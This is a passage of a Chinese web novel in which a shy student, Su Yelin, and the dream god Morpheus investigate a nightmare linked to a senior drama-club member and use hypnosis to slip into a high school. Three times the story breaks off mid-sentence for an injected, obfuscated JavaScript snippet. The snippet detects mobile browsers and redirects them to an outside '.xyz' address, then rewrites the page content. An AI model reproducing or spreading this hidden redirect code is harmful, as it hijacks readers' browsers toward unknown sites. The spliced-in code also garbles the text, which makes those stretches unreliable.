他的态度总是很不明朗,似乎坦然,但说出的话又模棱两可。苏夜凛不知作何表情,只能沉闷地重复自己的想法:“什么死不死的,不要拿这种事情来威胁我……我只是不想轻信你而已。” 但是,谁敢说自己不怕死呢?何况在自己亲身体会过直面梦魇的诡异之后,即便死只是一个轻飘飘的可能性,也足够让人胆寒了。 墨菲斯听了她的话,沉吟几秒道:“我以为,你这种温吞又单纯的个性,不会考虑这些事情呢,”很奇怪,他脸上丝毫没有不悦或者愤怒,反倒有愉快的意思:“很好啊,保持质疑精神可是百利无一害!尤其是在我们破解梦境的时候。” “谁说我要继续帮你了。”苏夜凛有些不悦,对方似乎全程不把她认真的质疑当回事,她的声音有些颤抖。 “宁愿选择会死的风险,也不改变对我的质疑精神?挺好的,只是不太聪明。”梦神似乎被逗乐了,“看你平时对一副别人唯唯诺诺的样子,对待我倒是能直率地表达感想嘛!” “什么意思……我怎么就对别人唯唯诺诺了?!你凭什么随便这样评价我,你了解我什么??” 苏夜凛像是被暗处突然的冷箭射中了一样,声音不自觉拔高起来。 本来她就有点烦躁,对方的言语还突然落在了意想不到的地方——而且是她日常中极其在意的一些地方。 “需要特地去了解你才能做出这个评价吗?我想想——昨天你正在学校参加社团活动对吧。” 梦神没有怜悯,也没有挑衅,只是微笑斜睨着说出这话,“明明也不是多大的过错吧,但是你对那位学姐和其他人道歉的表情——你可能自己看不到,但是在旁观者看来,实在是能用诚惶诚恐来形容了,好像不那样低声下气就会被赶出去一样。 苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016898|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜凛当然没忘,看来那时候,掠过窗沿的黑猫也瞥见她在剧社的那一幕。 “但是很不幸,据我的观察呢,越是那样的示弱,越会让欺软怕硬的、趋炎附势的俗人们看不起你和打压你呢。人类就是这样的,虽然嘴上认为自己是文明动物、高等生命,其实比他们口中低等的「弱肉强食」的动物性,还要多一份基于社会性的「恶意」……你应该也懂吧?” 语气平静,却一下一下戳痛起苏夜凛紧绷的神经,直挑她潜藏在意识深处的痛处。 是啊,这还用你说?少女的内心中,一个仿佛不属于自己声音在呼号。人的恶意是什么样,我比你清楚…… 因为某天做出了不合形象的动作,就被暗处嘲笑揶揄,仅仅是某次做出了不合群的选择,就被集体投以孤立审视,或者隐晦又长久的暴力。 女孩紧紧攥住了双手,想要反驳什么,却又眼角发热,因为过度的激动、甚至是因为对方超乎寻常的冷静,无法发泄出满腔言语。 “但是,苏夜凛小姐,正是因为你在现实中是个胆小怯懦神经质的脆弱存在,反而在梦境的世界里有远高于一般人类的潜质。几乎是独一无二的、「共鸣者」的特质…” 说到这里,梦神的语气也与之前没什么差别,只是表情更温和了些,朝她伸出右手,就和梦里的天台上一样的姿势。“不想来发挥一下你的潜能吗?在这个梦境空间之中,你那份纤细的神经反而有用武之地,说不定能够重塑世界,甚至也可以重塑自己。” 苏夜凛好一会儿没有动,低下头,墨菲斯能听到她不平稳的呼吸声,这是人在压制着自己情绪激动时会有的反应。 “耿学姐的梦,我们还没突破,对吧?……这一次,我会和你一起完成这个任务,”再次抬起头时,苏夜凛的眼角有点发红,但是声音已经稳定在了平静的维度,“但是,不是害怕你那些威吓和激将法的话术,也不是为了自我感动说我是救世主这种无聊的事情。” 少女可能并未发现,在此刻她的发言倒是气势十足,与往常判若两人。 “我对那些东西不感兴趣!我是因为耿学姐……因为你说梦魇会对人造成很不好的影响,这点我倒是相信的,谁做了噩梦心情都会很差嘛,造成更坏的后果,确实也有可能……我不想他们遭受这些无妄之灾。” “居然是这样吗?为了一个和自己其实无甚交集的社团前辈,她不熟悉你吧,甚至她可能还有点轻视你。”墨菲斯先是表示出诧异,随后又转为揶揄,“你低估自己了,这么热血,这明明就是古典救世主的心态嘛。” 苏夜凛没有接他的话,只是表明自己的立场: “但是,这次之后我要不要再帮你的忙,就难说了!你也不要想着用一些乱七八糟的话绑架我,我承认自己胆小又神经质,但是我最讨厌被人牵着鼻子走了。” “没问题,苏夜凛小姐,”墨菲斯幽蓝的眼中摇曳着笑意,转身向窗外已深的明月,“虽然我也很想给我的代行者签霸王条款,可惜我现在根本没有这个实力,你就按照自己的判断来吧。” 11. 转角间 06 “最后,我还有一个问题——第一个梦里,我杀了那个梦魇之后,隔壁的邻居也恰好是那天死了,这肯定不是巧合吧?” 梦神思忖着能让苏夜凛明白的解释方式:“你说那个宿主?我还不清楚他的死具体是怎么样的,不过据现在的猜测,你在杀掉梦魇的时候,造成了整个空间的爆裂,影响了宿主的意识,所以从结果上造成了他的死吧。” 苏夜凛对这个答案感到错愕。 “所以,确实是我杀了人吗?”她的语气格外沉重。 虽然说,隔壁那个男人多半并非善类,甚至说如果他是个杀人犯这事为真,杀了他才算做好事吧? 但她感到的那股从心底而来的战栗,并非是源于杀了谁,而是“杀人”行为本身。 “你在害怕?”梦神观察着她的反应,“那倒是不用担心,那个男人的死……就类似于身边的炸|药引燃,所以波及了他。” 苏夜凛钝钝地听着,我怎么感觉这和我自己杀了人并没有区别呢?——她的心里泛起了这样一个声音,但她不确定自己有没有把心声说出口。 “愧疚了?……我记得人类用于审判的一个词是「主观恶意」吧?你从来不知道隔壁那个男人的样貌,也没对任何人动过杀心,但是初次和梦魇的对决中,你的力量比想象中还强,所以当时的我也没能预料到。”梦神稍稍叹气,分析却冷静锐利,试图以手术刀的形态切走漂浮的疑虑。 “是吗,也对,如果他是个穷凶极恶之人,不论是人是神,都会鼓励我「杀了他不是坏事」,”苏夜凛有些失神,喃喃自语,“但是那不是我的能力该管的事情吧,他应该让警察抓住、让他们经过核查之后判定死刑……” “我懂了,你想让他受到程序正当的审判?真是个有良知的好公民。”梦神朝她稍微靠近了一点,语气泠然变得严肃。 “但是,这都是你赢了之后才有机会反刍的废话。你没明白吗?在那个情形下,你不动手,就会被杀死,你是想有惊无险地活下来,还是为了自己以后不背上道德枷锁,选择在梦里被那个男人杀死?听上去只是在梦里被他肢|解一次,但是这个场景,这份副作用会怎么作用到你的「现实」里?” 说到这里,他又露出了很浅的笑容,那是这个青年的脸上从来没有浮现过的、有点泄露出攻击意识的狂气微笑。 “我郑重提醒你,虽然是在梦里受到了疯狂的影响,但是那个男人是真正的想要杀死你的——至于现实中你的邻居是否曾有过这个想法,那也不一定哦?” 一句话让苏夜凛醍醐灌顶,寒意迅速从头到脚袭略所有神经。 怎么样?你是要为了自己在道德上处于无可指摘的完美,顾虑退缩成为杀人狂的下一个作案对象?还是你要当即作出决断,为了自己拼死挣扎一次呢?答案不言自明 可是……这样真的好吗?或许她这次这次杀了一个恶人,那么谁能知道下次会不会杀掉一个好人、再下次杀掉一个柔弱的可怜人?如果收割梦魇就是这种工作,她只觉得恐怖和绝望,这不是自己那份懦弱的良知能承受的东西。 “……不用有别的顾虑,你忘了我虽然没什么力量,但是给你当指南针还是没问题的。”月光之下,墨菲斯的面容再度趋于和缓,“我可以教你怎么正确地击败梦魇,也不至于造成不必要的伤亡、或是波及无辜。这就可以接受了吧?” 可能对他抛出的橄榄枝卸下防备,也可能真的是因为疲惫到没空再思考,苏夜凛感到一阵轻松,于是也缓缓点了点头。 “不说那个了…….我本来也,不是很想细想那件事……那说回今天吧,我们能够确定那是耿学姐的梦,对吗?” “是的,虽然我们不一定能每次都定位梦魇的宿主是谁,但这次无疑就是她,”梦神一五一十地回答,“这是件好事,知道对象是谁我们就能更有把握了。” “更有把握的意思是?” “确定宿主的情况下,可以多调查和推导出一些本人的情况,比如是不是有生活困难、过往的精神问题、放不下的症结之类的。” “这个梦境没有完结,我如果现在睡着的话,还会返回梦中吗?”苏夜凛追问,她还是觉得自己精力没有恢复,不是很想立刻就继续这份任务。 “那倒不必,你就好好休息吧,”梦神信誓旦旦,“我可以先中断掉你和这个梦境的链接,但是你也要避免和梦魇宿主,也就是那位学姐的接触。” “你的能量恢复了?”苏夜凛好奇地看着他。 “也没恢复多少,但是基础的事情慢慢可以进行了。” 梦神拉开窗框的一边,清燥的夜风灌入、掀起纱帘。 “但是,梦魇的成长迅速而且不可控,这件事情仍然是有着严格的时间限制,最好的方法是在周二之前解决——明天,我们就需要去调查和应战了。” 话音刚落,青年的形象在空气中扭曲,一只黑色的猫在窗沿边对她投来眼神。 “所以,你先好好休息,应对明天吧,苏夜凛小姐!” === 周六早晨。 苏夜凛醒来时,时间才不到早上九点,果然,如墨菲斯所说,她没有再次爬上教学楼的楼梯、面对眼眶乌青的少女,但是另一个梦的余韵缠绕着她的眉间。 她不记得那是个什么梦了,只是能确定那是完全属于“她自己”的梦。并不恐怖,也并不激烈,只是有一种绵长而彻骨的忧愁,让她胃里淡淡地发苦。 因此她并没休息好,却也没什么睡意,起身麻木地洗漱完了,束起长发,坐在书桌旁默默给手机充电。 翻开通讯软件,夹杂在服务号和营销信息之间的新消息很少,不过她惊喜地发现文曦瑶发来一个新的链接,点开是一家咖啡馆的安利。 “小苏学姐哪天有空的话,我们一起去尝尝这家的黄油巴斯克吧!” 明快得如她本人般的问候,叫早晨多了一抹亮色。 苏夜凛满脸微笑回复她之后,又点开了另一个昨晚她未编辑完的对话框。 联系人的标注是“耿学姐”,对话框内的文字信息多得令人意外。 「夜凛,不好意思打扰你了 周二你会来剧团对吧?当天我们要排练,但是道具组有个女生请假了 一时找不到人手,我想到了你 虽然不是什么很繁重的任务,但我想交给比较可靠的同学 你可以帮个忙吗? 当然,不会让你白跑一趟的 晚饭我们管理组来报销~」 大概十几分钟的发送间隔后,紧跟着的一条消息: 「其实,我是想向你说声抱歉的 不知道你有没有放在心上,但是我回想今天下午 你弄乱了文件,我的态度挺不好的 分明也不是什么严重的错误,不该那样对你冷脸…… 绝不是我故意为难,只是当时……恰巧遇到一些烦心事 一整天的状态都不佳 希望你能谅解我的失态……如果你周二能来帮忙,我们都很感激! 另外,如果当天你看完排练,有兴趣也可以来参加下次试镜哦~ 我一直觉得你这么漂亮,来剧团却不参与核心圈太可惜了。想说的就这些~」 苏夜凛反复阅读了几次,这是昨晚耿芷芯发来的消息,和墨菲斯谈话时她就大致浏览过,是为了确认自己在梦中看到的内容和现实有多大出入。 而今早认真看过之后,她的心里不断添上几笔坚实的安心。 她看得出耿学姐是费心斟酌用词后,温柔又得体地向自己传达歉意……她觉得学姐是个真诚的好人。 这样的话,墨菲斯所谓“她和你几乎无交集、可能还有点瞧不上你”的胡乱猜测就完全落空了。 而自己昨晚一时上头,说要帮学姐到底的热血,也被侧面印证了没有错。仅仅是这一点正反馈,也足以让苏夜凛宽慰。 她也绞尽脑汁,想了很多话来完善地回应学姐,大概就是表示自己并没有感到不舒服、确实是当时手忙脚乱之类的客套话,另外就是周二愿意去帮忙。 虽然都是些普通的社交辞令,但是她平日独来独往又容易内耗,还真不是个轻松活。她深呼吸了一下缓解压力。 周二吗?她突然注意到这个时间节点。说起来,墨菲斯也强调了这次任务要尽量在周二之前完结……是有什么特殊意义吗? “怎么样了,这位深藏不露的天选之人苏夜凛女士?要是你状态尚可,无需更多休息的话,我建议我们还是争分夺秒,现在就商讨一下如何进行调查,以及下一步的注意事项如何?” 还在半神游状态的苏夜凛唰地被打断思考,她略带鄙夷地看向站在窗口的黑猫。 能不能不要如此突然地出现??话说回 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其实她也不是那么真切地要防备墨菲斯,毕竟以这几次相处的经验,她觉得对方不论是“神性”的部分,还是刻板印象里“男性”的部分都非常淡,他确实像是幻想与现实狭间中某种轻盈的概念化存在,至少目前,自己没感觉冒犯和不安。 ……但想到之前和「露娜」相处的种种细节,说不难堪是不可能的。 简言之,就算不对墨菲斯本人膈应,她之后也不会那么亲密地把猫抱起来然后对它一个劲儿傻笑了。不可能,绝对不会。 “所以我们该做什么?你好像是说,要了解本人的境况,才方便下一步行动之类的对吧。”苏夜凛看着手机,缓解一瞬间的尴尬,“但是我和学姐确实也没有多熟,总不能直接去她的宿舍问,你最近有没有感到什么不对劲之类的吧?” “当然不能咯,你忘了要尽量减少和宿主本人的接触,否则容易在没把握的情况下收到梦魇的影响。”墨菲斯晃悠着尾巴。 苏夜凛一时茫然,昨晚在梦里的时候她会有有焦虑感,还有零碎的疑惑,但是回到现实就像断片一样无法接续起来。 “总之这不是光在房间里待着就能想出来的问题,先动身吧?” === 时间到十点半左右,苏夜凛已经坐在公交车上,人不多,车身随着引擎声晃晃悠悠。 如果不是真的有事要完成,这还真是一个惬意的早上。但是身旁坐着的墨菲斯提醒她无法逃避现状。 “你那个宠物,不要带到公交车上来嘛!” 这是15分钟前,上一班司机呵斥苏夜凛的声音。因为平时也没考虑过,她完全忘了动物是不能堂而皇之地上公交和地铁的,被打了个措手不及。 因此,本来打算用猫形态缩在座椅上的墨菲斯也不得不使用人形,又跟着苏夜凛去附近便利店换了零钱,两人才正常地坐上公交。 墨菲斯穿着一身黑色卫衣,脖子上甚至有一条装饰的蓝色围巾,看起来还挺潮的。苏夜凛思索,这个家伙对人类社会的流行文化好像挺有兴趣,还会给自己设计形象。 两人现在要去往的是一所高中——在偌大的辉云市中也声名显赫的一所重点学校,万松中学。 整个语焉不详的模糊梦境中,最明了的信息就是“女孩的学生身份”,可当时的苏夜凛看不清他究竟属于哪个学校。 他们无法得知那女孩仅仅是梦魇制造的噩梦幻象,还是确实对应现实中某个人。但是,如果整个梦和耿学姐有关联的话,一切就会简单许多。 苏夜凛靠窗坐,熄掉手机屏幕,也不愿看一旁的墨菲斯,略微避开目光。然而对方不怎么识时务地主动搭话。 “所以,你是怎么调查到耿芷芯的学校的?” 墨菲斯是真的好奇,毕竟在一小时前,说起今天要先去哪里时,苏夜凛都还是一脸茫然的,但是很快又确定了。 “……是从学校论坛的匿名版。您老人家不是很热衷于研究现代文化生活吗,居然也没想到网络有此妙用?” “怎么说?我确实想了解一下。” 苏夜凛也是难得有摆谱的时候,她和墨菲斯大致描述了如何通过几个简单的搜索就锁定一个人的信息——尤其是对耿芷芯这种校园名人,更是不需要什么技巧,有人的地方就是江湖,风云人物不会欠缺讨论度。 她打开手机,点开了辉云大学的匿名版。 12. 转角间 07 匿名版本是辉云大学网络论坛的一个分支,据说是挺久之前信息部的学长建的,只要是辉大的在读生,都可以在注册官网后,于这里获得一个“潜水身份”发帖。 最初这是本校学生交流日常、提问的场所,但是显然一开始没人意识到匿名属性的论坛多容易埋雷,即便是高素质人才云集的辉云大学,也没少在此互相拉踩内涵,风气差得一发不可收拾。现在虽说经过了整改,攻击力大不如前,但仍然是一个阴暗沉淀的汇集地。 苏夜凛讨厌这块网络洼地,但还是在搜索框里输入了关键字。结果也不出她所料,几个指向性明确的帖子静静躺着。 “有空?来锐评一下某位耿学姐。PS·社内社外的都行” “【爆】论辉大风云人物TOP10——特别篇22级,怎么样,谁敢说谁先说好吗” “剧社收新啦!在这里也要安利!月海剧社的独特优势……” “【热】剧社最近那个瓜是真的吗?某人不想管,是不是和编剧部的内谁有关系…” “【热】可以说是我等姬佬杀手的这位学姐……各位不想来了解一下吗~” 苏夜凛舒了口气,其实这个结果已经不错了,没有那种让人神经紧张、恶意明确的内容,但她心理上还是很抗拒“在匿名版看别人开贴议论同学”这件事。 她点开了比较温和的那个热帖,首楼贴着耿学姐相当正式的一张照片,似乎是代表学校去参加比赛之类的。 「其实这是一个剧社编剧部的隐性安利贴哦!(哪里隐形啦….) 总之,百团大战时听过剧社宣讲的孩子们,你们有没有对这位人美声亮、文学气息爆棚的清丽美女学姐印象深刻~ 耿芷芯学姐虽然不作为演员上台,但妥妥称得上咱们剧社门面,超强的阅历和创作能力,独特的艺术表达,没了她的月海剧社我不敢想象… 如果你高中读的是万松,那你恐怕更早就认识这个名字了~原来这么多表彰的主人公都是她?? 是的学姐从中学开始就超优秀,我们这些后辈和她在一起也特别受激励……」 -- - “原来是这样,虽然观察人类社会挺久了,但这种渠道我确实也没发现过,”墨菲斯一副饶有兴趣的表情,“这是只有你们学校的人能上的网站?” “是的,有时候在这里看到的信息意外的有用。” ——话虽这么说,苏夜凛基本都没怎么打开过这个版面。她浏览了一会儿,时间慢慢过去。 目的地离学校距离不远不近,但是不能一条路直达,所以还是要相当一阵时间。当两人下车时,阳光也已经强烈起来。 这就是辉云市众多父母挤破头也要争名额的地方——苏夜凛感慨着,学校正门宽阔规整,浅色的石碑上赫然印着万松高级中学几个大字,亮得稍微有点刺眼。 周六是所谓的自由补课时间,主要是高二、高三的孩子在参与,学生比周一到周五少很多,气氛也比正常上课松散。还没到午休时间,已经可以看到寥寥几个高年级学生们在教学楼之间穿梭。 驻足在校门前,新的苦恼浮现进苏夜凛的脑中:因为并非上下学的时间,可以过车的大门和警卫室旁边的小都是封住的,他们两个明显是外人的存在,好像没法随意进入校内吧? 墨菲斯则是好像根本没意识到进别人的学校这个环节还有阻碍一样,径直往前走。 “你停一下!”苏夜凛赶忙叫住他,“我们不能随便进别人校门的,起码别从正门……咦?你什么时候换上这身衣服的?” 她看见墨菲斯的穿着时语气一滞,不知什么时候,他原本那身休闲的卫衣换成了万松中学的男生制服,白衬衫、灰外套和长裤。 没等人反应过来,他只是转头对苏夜凛使了个眼色,示意女孩跟上。 ==== 梦神打算穿上制服,直接大喇喇地混进学生堆里,苏夜凛恍然间点头,又有点迟疑,他是可以自由转换形态的,那么自己呢?她可没有万松的校服…… 她紧跟着走上前,就在经过警卫室窗口前,墨菲斯塞给她一块薄薄的金属片。 苏夜凛定睛一看——这正是昨天出现在梦境里的,墨菲斯在“现场”捡到的那个徽章。昨天她看徽章上的文字一片模糊,墨菲斯给她的则是补全了那片模糊,亮晶晶的万松中学标志镀在上面。 “你,停一下,”毫不意外,警卫室狭小窗口的玻璃后面,一个中年男人略显疲态地出声,“哪个班的,这个点才来学校?” “我上午不舒服,刚刚从医院回来。”墨菲斯语气淡淡的,他太没有紧张感,倒真的有点像是个课业繁重、精神漫游的高中生。 “后面的呢,你不是我们的学生吧?”男人皱着眉,打量起来他身后没穿校服的苏夜凛。 苏夜凛有点慌,只是举起来手里的金属徽章,想不出来要说什么话搪塞,视线游移。 “苏同学是陪我去的,她把外套落到班里了而已。您就让我们进去吧,还要赶着上最后一节课。”墨菲斯接过话茬。 这有说服力吗?苏夜凛心里有点冒冷汗,心虚地瞄了一眼警卫室。 对方还是那样疲惫不满的神情,但没有想要拦他们的意思,也没再问任何问题,只是默默按下开关打开了小门,让她觉得很不可思议。 下一秒,还没等苏夜凛反应过来,墨菲斯抓住她的手腕,直奔校园里的广场。 大约是作为重点高中的原因,这个学校基础设施不错,校园不大,绿植覆盖率倒是很高,郁郁葱葱的阴影下,他俩的身影也没有那么扎眼。 “等、有必要这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016900|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急吗!”停下时,苏夜凛差点没站稳。 “有必要啊,我现在的催眠时效很短的。”墨菲斯跑到不知道哪个教学楼边角的小路上,静谧的周遭只有几声鸟叫,但他们还是放轻了声音说话。 “催眠……?” 这时,苏夜凛讶异地看向自己捏在手中的“校徽”,它已经从金属变回了一张皱巴巴的纸片。她从催眠这个不寻常的词语里,联想到了一些电影里的“心理大师”们用怀表操纵别人说真话的情形。 “也就是,你可以让别人进入那种状态?那我们岂不是可以通行无阻??有这么厉害的能力你怎么不早说!” 看来刚才警卫室里保安大叔轻松地就放过他们,并不是玩忽职守,而是催眠让意识变得薄弱了。 “嗯?很奇怪吗,我毕竟是梦神,当然最擅长和睡眠有关的暗示咯。”墨菲斯不理解她的大惊小怪,“但是,没你想的那么便利,这种暗示效果很依赖对象的精神状态,而且也不是所有场景都适用的。” 大致意思就是,对于精神戒备较少的人才有点效果,当对方警惕或者有对抗意识的时候,就帮不上什么忙。 不过苏夜凛心想,在大家都是肉体凡胎的现实世界,哪怕只是30秒的催眠,也是很可怕的能力了。 她由此想到,墨菲斯这个人并不如他自称的那般“无能”,他恐怕还有很多底牌没透漏。 当然,苏夜凛也无意和他在这话题上争论,下一步怎么做更重要。她打开手机,根据网上提供的地图,勉强摸出他们该去的道路。不过,因为没有校服,让她总觉得很不自在。 “墨菲斯,你那个外套……能不能借我披一下?” 在路上慌张闪避开了一组成群结队去食堂的学生,苏夜凛心里忐忑不已,鼓起勇气,朝一旁的梦神开口。“我老感觉有人会注意到我,那就不妙了……” “你说我的衣服?”墨菲斯抬了抬眉,难得露出很为难的神色,“我不能凭空造物,这个东西在我身上是编织形象的一部分,但是分离出来给你的话……只能维持个3分钟吧,而且消耗很大。” 什么意思?他只能给自己设计皮肤。 苏夜凛叹气,看来实在的物理层面不是这家伙的强项,那么只能依靠自己的强大心理素质了——俗话说只要你不尴尬,尴尬的就是别人……! 虽然这么鼓励自己了,她还是鬼鬼祟祟地贴边走,让阳光下插着兜大方前行的墨菲斯有点无语。 “也不用这么谨慎吧,到底谁才是人类……”梦神大概理解她忌惮老师学生的怀疑,但事实证明,周六的校园里大家精神比平时散漫,也没人刻意提防“不法入侵者”的出现。 “你倒是可以变成猫开溜,我被抓到了完全就是社死好吗!”苏夜凛压低声音抗议,还好两人已经走到了高三教学楼旁。 13. 转角间 08 很快,两人在教学楼附近的一个僻静处停下,决定分头行动。灵活自由的墨菲斯去不易潜入的档案室,逮人打探情报的活儿,自然落到了苏夜凛身上。 很快,青年的身影凭空消失,苏夜凛心里的忐忑加重了一分。她深吸一口气,走进教学楼的侧门。 现在正是午饭的时间,走廊上来往的人零零散散,有学生向她投来目光,但不会停留太久。 学生们并不如想象中那么好奇心旺盛,没有人太关注她,让苏夜凛沉心静气了下来。她顺便确认了这个学校的女生制服确实和自己梦中所见“她”的衣服一致,白色的衬衫和深灰色的背心裙——十分别致的设计,侧面印证了梦里的那个女孩多半和学姐的过去有关。 气定神闲之后,她观察着每个教室门牌上的字,还浏览了一下墙壁上公告栏的信息,可惜没什么有用的。 她根据指示牌找上了二楼——主课老师的办公室都集中在那里。突然的紧张感涌上心头,不过下一步她倒是感到尴尬胜于紧张了——她反应过来现在已经到了午休时间,很多老师也去了食堂,导致她不一定能问到人。 “不需要等我和你一起行动吗?” 十分钟前,墨菲斯还这样问她。 “怎么说呢,我感觉还是速战速决比较好……当然,如果我实在做不到,也就只有等你救场了。” 苏夜凛是个怕事的人,这样没魄力的自己怎么会想到主动去套别人的话?难道是和梦神的相处无意间激起了她不想服输的自尊心?她也说不清,但既然都这样了,至少别又打起退堂鼓——苏夜凛在英语组办公室旁边驻步,踌躇着自己待会儿该用什么开场白。 “来找人吗?傻站在这里干嘛呢。” 很不赶巧地,一个年纪偏大的女老师从办公室里走出。瞧见一个陌生的外校女生在走廊上踱步,她的态度倒是比较温和了,或许苏夜凛看着是个乖乖女,不像闲杂人士,老师心里当她是哪个学生的姐妹。 “那个、老师您好!我是辉云大学的校报编辑,苏夜凛,今天来拜访,是为了写一篇咱们学校优秀毕业生的专稿。”苏夜凛强提起精神,用乖巧的笑容面对对方,表演起预先准备好的说辞,“您,您也知道……咱们高中升学到辉大的不少,有很多优秀的同学,而且、22级的几位学长学姐实在是出类拔萃,给学校挣了很多荣誉……” “哦,这我知道,你是不是说耿芷芯那一级?”估计这位老师平时就是消息活络的那一类,倒是帮苏夜凛少费口舌了。“你们是要给他们写专题,所以来采访高中老师?” “嗯…对,我们也征求耿学姐本人的意见了!”对面的反应太顺其自然,苏夜凛为了掩饰自己的紧张,急忙扯了一个谎,“耿学姐现在是剧社的骨干,对我们这些低年级的人简直就是明星一样……” “倒也不稀奇,我们都知道那孩子厉害,去辉云都是委屈她了。”老师推了推眼镜,似乎面对校报取材这种事情见怪不怪了,“但你们突然过来还是太冒失了,事先也没听说谁来沟通啊?不过我看你也是个不错的姑娘,你就先去问问坐靠窗的白老师吧,她上一届是耿芷芯的班主任。” 真的这么顺利吗?苏夜凛在心里惊喜欢呼,“谢谢老师!我还怕你们不答应呢…….” “不过我得提醒你啊同学,白老师她为人比较严肃,你问问题有分寸一点,万一她真的不想回答你,那也没办法,你自己负责啊。”她看了看时间,便转身离去,走廊里空无一人。 少女朝办公室内探头,只有两个人,一名年轻女老师坐在靠窗的办公位,无疑就是白老师。 逆着光的宽阔办公桌上,散乱着各种纸张,书本、教案和文件夹垒成高高的两摞,她眼神虚散,手上改题的动作倒是飞一样快。 另一位男老师拧了拧保温杯的盖子,没注意到轻手轻脚进入、傻站在门口的苏夜凛,对着女老师搭话:“白老师,差不多到吃饭时间了,你不一起去?” “我就不去了,胡老师,我今天带饭了。”年轻却沉稳的女声如此回应,她貌似头也没抬,沉心于工作中。 “又是男朋友给做的吧?真幸福啊!”胡老师也没有说太多,两人客套几句之后,他收拾了下桌面,准备去食堂吃饭。 走出办公室门的男老师撞上默不作声的苏夜凛,吓了一跳,但也没多说什么,只是皱了下眉头,用疑惑的神情打量了她几眼,便径自走开。 办公室里只剩下关键的线索人物一人,没理由拖延了!苏夜凛如此给自己鼓劲,现在就是最好的时机。 她踏步走入办公室,乐福鞋的哒哒声都格外清晰。 “白老师您好……” “怎么了?”她抬起头,明明看起来还年轻,但苏夜凛总觉得从那双眼睛里透露出深深的疲惫。白老师皱了皱眉,“你是?哪个班的学生家属吗?” “不不,我是辉云大学校报记者!我叫苏夜凛,打扰您真的很抱歉!”试图用元气的方式打招呼,苏夜凛感觉自己装的实在是很滑稽又勉强。 “……你好。有什么事?我带高三的学生,很忙。如果不是很重要的事情,麻烦不要占用我的时间。”她的眼帘垂下,目光又回到写满文字的纸张之上。 相比于之前那位年长老师,这位白老师确实比较难搞。她都没怎么打量观察苏夜凛这个外来者,漠不关心地投入自己的正事。 “抱歉,其实,我是为了写一篇报道来的,主要是向大家介绍优秀的学生还有校友……我主要是想了解您带过的学生耿芷芯!只是一点小问题,不会占用您太多的时间的!” 苏夜凛自己都感觉这些话实在是没有一点号召力,白老师多半只会疲惫地敷衍,几句话打发完就让她离去。想到这里,她暗暗地从口袋里抽出刚才墨菲斯交给她的、一张折起来的纸片。 但是出乎意料的,白老师听到那个名字之后停下了改练习册的手,眼神直直地回望苏夜凛。 ==== 白老师会是被耿芷芯这个名字吸引了注意力?苏夜凛下意识地展开猜想,同时慌忙用藏在背后的双手展开了那张纸,对着白老师的视线。 “您看,这是组织部和学院老师的委托同意书,还有耿学姐自己的授权,这期是我们辉大校报策划的一个重点专题,大家特别重视,所以我才被安排来找老师们取材……真的麻烦您了!” ——实际上,那片纸页只是从笔记本上撕下的一片空白页,上边什么都没有,但是白老师会认为那是一张写满了文字的“委托书”。 这就是墨菲斯的小把戏,一个不算强力,但很好用的附魔道具。 只要让对方直视它,便会从一定程度上歪曲对方的认知,让人卸下防备,进入思维懈怠的状态。 但是它的生效时间很短,且不能用第二次,所以苏夜凛不能随便抓一个人去盘根问底。 “……她很优秀,几乎是无可挑剔的学生。”白老师还是淡淡的,苏夜凛看不出她有没有受到纸片的影响。“学习没有短板,很礼貌,人缘当然也很好。” 这种评价太过笼统了,不是苏夜凛需要的信息。 “很符合大家的猜测,学姐她现在也是这么优秀的。那您觉得耿学姐平时最热衷的事情,或者说爱好是什么呢?她是您带过的学生里出类拔萃的,您应该也留意过吧!” “这我哪清楚,学生们也有自己的隐私和空间。”白老师垂下眼,右手托腮,“不过除了学习之外,她这个人应该是比较爱写东西吧……有其他老师反应过,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016901|178486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有时候上课也没有听,在写自己的东西,不过我没管,反正她的学习能力不用担心。” 不知怎的,苏夜凛从老师的言辞里,感觉出她并不太喜欢耿芷芯这位聪明努力、左右逢源的好学生。是她性格和讲话方式如此,还是真的对学生们冷漠,所以不闻不问? 可是如果真的冷漠,她不会是这么一个午休时间还在改作业、摊开的教案和课本上写满红字的老师。 “您别说,学姐在我们剧社,就是编剧部的主将,看来她以前就很有天分而且很努力,”苏夜凛思索了几秒,追加了一句话“也是老师您的功劳呀!您知道她很自觉,尊重兴趣不过度干涉,这才成就了剧社也难得一遇的天才。” 好累——苏夜凛在心里哀嚎,为了符合人设,每句话都要装作元气满满,但又要问出信息,对她这个低能量人士有点困难。 “……天才?或许吧,可惜不是所有天才都值得效仿,我也实在没什么好说的。”白老师划动钢笔笔尖,红色的墨水在选择题边留下一个”ד号,划破了一点纸面。 